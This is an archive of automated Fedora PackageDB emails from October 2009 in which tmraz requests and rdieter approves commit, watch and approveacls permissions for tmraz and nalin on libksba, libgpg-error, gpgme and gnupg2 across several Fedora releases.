From pkgdb at fedoraproject.org  Fri Oct  9 15:50:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:50:59 +0000
Subject: [pkgdb] libksba: tmraz has requested commit
Message-ID: <20091009155059.676C110F8B1@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on libksba (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:51:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:51:00 +0000
Subject: [pkgdb] libksba: tmraz has requested approveacls
Message-ID: <20091009155100.C359210F8B4@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on libksba (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:51:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:51:00 +0000
Subject: [pkgdb] gnupg2 had acl change status
Message-ID: <20091009155101.160CC10F8B6@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on gnupg2 (Fedora devel) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 15:51:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:51:03 +0000
Subject: [pkgdb] libksba: tmraz has requested watchbugzilla
Message-ID: <20091009155104.1CCDE10F8C0@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on libksba (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:51:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:51:06 +0000
Subject: [pkgdb] libksba: tmraz has requested commit
Message-ID: <20091009155106.A253D10F8C3@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on libksba (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:51:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:51:08 +0000
Subject: [pkgdb] libksba: tmraz has requested watchcommits
Message-ID: <20091009155108.93F4A10F8C5@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on libksba (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:51:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:51:10 +0000
Subject: [pkgdb] libksba: tmraz has requested approveacls
Message-ID: <20091009155110.8B8DB10F8C8@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on libksba (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:51:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:51:11 +0000
Subject: [pkgdb] gnupg2 had acl change status
Message-ID: <20091009155111.7B5C910F892@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on gnupg2 (Fedora 10) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 15:51:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:51:12 +0000
Subject: [pkgdb] gnupg2 had acl change status
Message-ID: <20091009155112.C024010F8CE@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on gnupg2 (Fedora 11) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 15:51:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:51:14 +0000
Subject: [pkgdb] libksba: tmraz has requested watchbugzilla
Message-ID: <20091009155114.F321B10F8AB@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on libksba (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:51:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:51:15 +0000
Subject: [pkgdb] gnupg2 had acl change status
Message-ID: <20091009155115.4474A10F8D1@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on gnupg2 (Fedora 12) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 15:51:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:51:17 +0000
Subject: [pkgdb] libksba: tmraz has requested watchcommits
Message-ID: <20091009155117.3027510F8B1@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on libksba (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:51:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:51:18 +0000
Subject: [pkgdb] libksba: tmraz has requested commit
Message-ID: <20091009155118.CC95010F8B3@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on libksba (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:51:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:51:20 +0000
Subject: [pkgdb] libksba: tmraz has requested approveacls
Message-ID: <20091009155120.B811010F8B6@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on libksba (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:02 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155202.8A60610F84D@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on libksba (Fedora devel) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:03 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155203.8177C10F8A8@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on libksba (Fedora devel) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:05 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155205.EAEE510F8B1@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on libksba (Fedora devel) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:10 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155210.B07B210F84D@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on libksba (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:11 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155211.C02DF10F844@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on libksba (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:12 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155212.F201210F8A1@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on libksba (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:14 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155214.D924F10F8A8@bastion2.fedora.phx.redhat.com>

rdieter has set the approveacls acl on libksba (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:35 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155235.28A0210F895@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on libksba (Fedora 10) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:35 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155235.59E0110F8A4@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on libksba (Fedora 10) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:36 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155237.06DCF10F844@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on libksba (Fedora 10) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:39 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155239.B1D3210F8AB@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on libksba (Fedora 11) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:39 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155240.16E9A10F8B1@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on libksba (Fedora 11) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:41 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155241.66A9E10F895@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on libksba (Fedora 11) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:43 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155243.154AF10F880@bastion2.fedora.phx.redhat.com>

rdieter has set the approveacls acl on libksba (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:43 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155244.0056F10F8B6@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on libksba (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:45 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155245.7BAD610F8A3@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on libksba (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:47 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155248.117C810F844@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on libksba (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:49 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155249.9480D10F84D@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on libksba (Fedora 12) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:50 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155250.C8DE210F8AD@bastion2.fedora.phx.redhat.com>

rdieter has set the approveacls acl on libksba (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:52 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155252.72DA010F8B1@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on libksba (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:53 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155253.4BF8110F895@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on libksba (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:54 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155254.CCED010F8B5@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on libksba (Fedora 12) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:56 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155256.5DEA510F8B6@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on libksba (Fedora 12) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:52:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:52:58 +0000
Subject: [pkgdb] libksba had acl change status
Message-ID: <20091009155258.223F810F892@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on libksba (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:53:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:53:54 +0000
Subject: [pkgdb] libgpg-error: tmraz has requested watchbugzilla
Message-ID: <20091009155354.3330010F84D@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on libgpg-error (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 15:53:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:53:56 +0000
Subject: [pkgdb] libgpg-error: tmraz has requested watchcommits
Message-ID: <20091009155356.3F9BD10F8A8@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on libgpg-error (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 15:53:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:53:58 +0000
Subject: [pkgdb] libgpg-error: tmraz has requested commit
Message-ID: <20091009155358.53ED510F8AB@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on libgpg-error (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 15:53:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:53:59 +0000
Subject: [pkgdb] libgpg-error: tmraz has requested approveacls
Message-ID: <20091009155359.CB57910F8AF@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on libgpg-error (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 15:54:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:54:10 +0000
Subject: [pkgdb] libgpg-error: tmraz has requested watchbugzilla
Message-ID: <20091009155411.146CD10F8CD@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on libgpg-error (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 15:54:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:54:13 +0000
Subject: [pkgdb] libgpg-error: tmraz has requested commit
Message-ID: <20091009155413.3FA1610F8BD@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on libgpg-error (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 15:54:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:54:13 +0000
Subject: [pkgdb] libgpg-error: tmraz has requested approveacls
Message-ID: <20091009155413.7C75B10F8D3@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on libgpg-error (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 15:54:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:54:12 +0000
Subject: [pkgdb] libgpg-error: tmraz has requested watchcommits
Message-ID: <20091009155415.2EFCF10F8D0@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on libgpg-error (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 15:54:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:54:15 +0000
Subject: [pkgdb] libgpg-error: tmraz has requested watchbugzilla
Message-ID: <20091009155415.6CD3010F8D6@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on libgpg-error (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 15:54:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:54:17 +0000
Subject: [pkgdb] libgpg-error: tmraz has requested watchcommits
Message-ID: <20091009155417.673C310F8C1@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on libgpg-error (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 15:54:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:54:19 +0000
Subject: [pkgdb] libgpg-error: tmraz has requested commit
Message-ID: <20091009155419.5155010F8D9@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on libgpg-error (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 15:54:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:54:20 +0000
Subject: [pkgdb] libgpg-error: tmraz has requested approveacls
Message-ID: <20091009155420.E369810F8DE@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on libgpg-error (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 15:55:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:55:24 +0000
Subject: [pkgdb] gpgme: tmraz has requested watchbugzilla
Message-ID: <20091009155524.93F4510F8B5@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on gpgme (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:55:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:55:25 +0000
Subject: [pkgdb] gpgme: tmraz has requested watchcommits
Message-ID: <20091009155525.67F3810F8B9@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on gpgme (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:55:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:55:25 +0000
Subject: [pkgdb] gpgme: tmraz has requested commit
Message-ID: <20091009155525.9DEA410F8BD@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on gpgme (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:55:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:55:26 +0000
Subject: [pkgdb] gpgme: tmraz has requested approveacls
Message-ID: <20091009155526.65BAA10F8C0@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on gpgme (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:55:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:55:31 +0000
Subject: [pkgdb] gpgme: tmraz has requested watchbugzilla
Message-ID: <20091009155531.7C68410F8A9@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on gpgme (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:55:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:55:31 +0000
Subject: [pkgdb] gpgme: tmraz has requested watchcommits
Message-ID: <20091009155531.EB82910F8C8@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on gpgme (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:55:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:55:32 +0000
Subject: [pkgdb] gpgme: tmraz has requested commit
Message-ID: <20091009155532.C71C310F8C9@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on gpgme (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:55:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:55:33 +0000
Subject: [pkgdb] gpgme: tmraz has requested approveacls
Message-ID: <20091009155533.49D0B10F8CA@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on gpgme (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:55:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:55:34 +0000
Subject: [pkgdb] gpgme: tmraz has requested approveacls
Message-ID: <20091009155534.EA4B710F8CF@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on gpgme (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:55:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:55:35 +0000
Subject: [pkgdb] gpgme: tmraz has requested commit
Message-ID: <20091009155535.B49AD10F8B7@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on gpgme (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:55:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:55:36 +0000
Subject: [pkgdb] gpgme: tmraz has requested watchcommits
Message-ID: <20091009155536.D1BCF10F8D2@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on gpgme (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:55:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:55:38 +0000
Subject: [pkgdb] gpgme: tmraz has requested watchbugzilla
Message-ID: <20091009155538.41FA010F8D7@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on gpgme (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:56:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:56:20 +0000
Subject: [pkgdb] gpgme had acl change status
Message-ID: <20091009155620.6C1A610F8A9@bastion2.fedora.phx.redhat.com>

rdieter has set the approveacls acl on gpgme (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:56:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:56:21 +0000
Subject: [pkgdb] gpgme had acl change status
Message-ID: <20091009155621.8540510F8AF@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on gpgme (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:56:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:56:23 +0000
Subject: [pkgdb] gpgme had acl change status
Message-ID: <20091009155623.5FB4910F84D@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on gpgme (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:56:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:56:25 +0000
Subject: [pkgdb] gpgme had acl change status
Message-ID: <20091009155625.6A5CF10F894@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on gpgme (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:56:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:56:31 +0000
Subject: [pkgdb] gpgme had acl change status
Message-ID: <20091009155631.769B310F895@bastion2.fedora.phx.redhat.com>

rdieter has set the approveacls acl on gpgme (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:56:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:56:32 +0000
Subject: [pkgdb] gpgme had acl change status
Message-ID: <20091009155632.6DB6710F8A9@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on gpgme (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:56:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:56:34 +0000
Subject: [pkgdb] gpgme had acl change status
Message-ID: <20091009155634.97C4110F8A3@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on gpgme (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:56:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:56:35 +0000
Subject: [pkgdb] gpgme had acl change status
Message-ID: <20091009155635.BD8BA10F8AD@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on gpgme (Fedora 11) to Approved for tmraz

